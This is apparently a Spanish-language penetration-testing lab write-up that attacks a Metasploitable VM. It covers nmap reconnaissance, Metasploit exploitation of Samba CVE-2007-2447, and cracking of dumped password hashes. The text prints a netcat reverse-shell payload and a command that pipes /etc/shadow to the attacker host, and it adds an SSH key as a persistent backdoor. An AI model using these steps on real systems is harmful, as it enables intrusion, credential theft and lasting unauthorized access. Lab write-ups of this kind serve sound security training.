
Full pentest on Metasploitable: reconnaissance with nmap, exploitation with Metasploit (CVE-2007-2447), credential extraction and cracking, SSH persistence.
Ciclo completo de un ataque real sobre un entorno controlado y aislado: preparación del laboratorio, reconocimiento con nmap, priorización de superficie de ataque, mapeo a CVE, explotación con Metasploit, post-explotación, extracción y cracking de credenciales, y persistencia mediante inyección de clave SSH.

msfconsole, nmap, John the Ripper.192.168.64.0/24). IP víctima: 192.168.64.3.
Escaneo de versiones para identificar exactamente qué está expuesto — las vulnerabilidades afectan a versiones concretas, no a servicios en abstracto:
nmap -sV 192.168.64.3
| Puerto | Servicio | Versión |
|---|---|---|
| 21/tcp | ftp | ProFTPD 1.3.1 |
| 22/tcp | ssh | OpenSSH 4.7p1 Debian 8ubuntu1 |
| 23/tcp | telnet | Linux telnetd |
| 80/tcp | http | Apache httpd 2.2.8 |
| 139,445/tcp | netbios-ssn | Samba smbd 3.X — objetivo principal |
| 3306/tcp | mysql | MySQL 5.0.51a |
| 8180/tcp | http | Apache Tomcat/Coyote JSP 1.1 |
12 puertos abiertos, todos con versiones obsoletas y explotables.
En vez de atacar el primer puerto abierto, clasifiqué los servicios por tipo de riesgo antes de elegir objetivo:
Objetivo seleccionado: Samba 3.0.20-Debian — combina una versión con vulnerabilidad crítica documentada, exploit disponible en Metasploit, y ejecución de código sin necesidad de autenticación previa: el mayor impacto con la mayor fiabilidad.
Confirmación de versión exacta con el motor de scripting de Nmap (NSE):
nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
Samba 3.0.20 es vulnerable a CVE-2007-2447: el parámetro username map script no valida el input, y un atacante puede inyectar comandos de shell directamente en el campo de nombre de usuario. Como el mapeo ocurre antes del login, no hace falta ni usuario ni contraseña válidos.

msfconsole

Búsqueda del módulo correspondiente:
msf > search type:exploit samba

Configuración y ejecución:
msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened
Verificación inmediata de privilegios — la vulnerabilidad da acceso root directo, sin necesidad de escalada posterior:
whoami → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008)

Inspeccionando los procesos en la víctima se puede ver el propio payload inyectado ejecutándose:
ps aux | grep samba
root 4931 sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"
El nombre de usuario enviado contenía el propio comando (/=`...`): Samba lo pasó sin sanitizar a una shell, que creó un pipe con mkfifo, abrió una conexión de vuelta a Kali con netcat y conectó /bin/sh a ese pipe — la ejecución remota de código completa, línea a línea.
Enumeración de servicios internos con netstat -tulnp: MySQL apareció escuchando en 0.0.0.0:3306 — expuesto a cualquier máquina de la red, no solo a localhost.
En vez de intentar crackear en la propia víctima (consume CPU, genera ruido, deja trazas), extraje los hashes y los transferí a Kali para atacarlos offline:
cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

Transferencia vía netcat y preparación para John the Ripper:
# En Kali:
nc -lvnp 4444 > shadow.txt
# En la víctima:
cat /etc/shadow | nc 192.168.64.4 4444
unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt
John ejecuta tres fases automáticas (modo single con info del propio usuario, diccionario, y fuerza bruta incremental). Resultado: 6 de 7 contraseñas crackeadas, incluyendo credenciales reutilizables para SSH, MySQL y FTP.

Con las credenciales crackeadas, acceso SSH directo como usuario legítimo:
ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Para no depender de una contraseña que puede rotar, generé un par de claves propio y lo añadí al authorized_keys de la víctima — una puerta trasera que sobrevive a cambios de contraseña y no genera alertas de fuerza bruta:
ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys # ejecutado en la víctima, ya comprometida
Acceso posterior, sin contraseña:
ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]
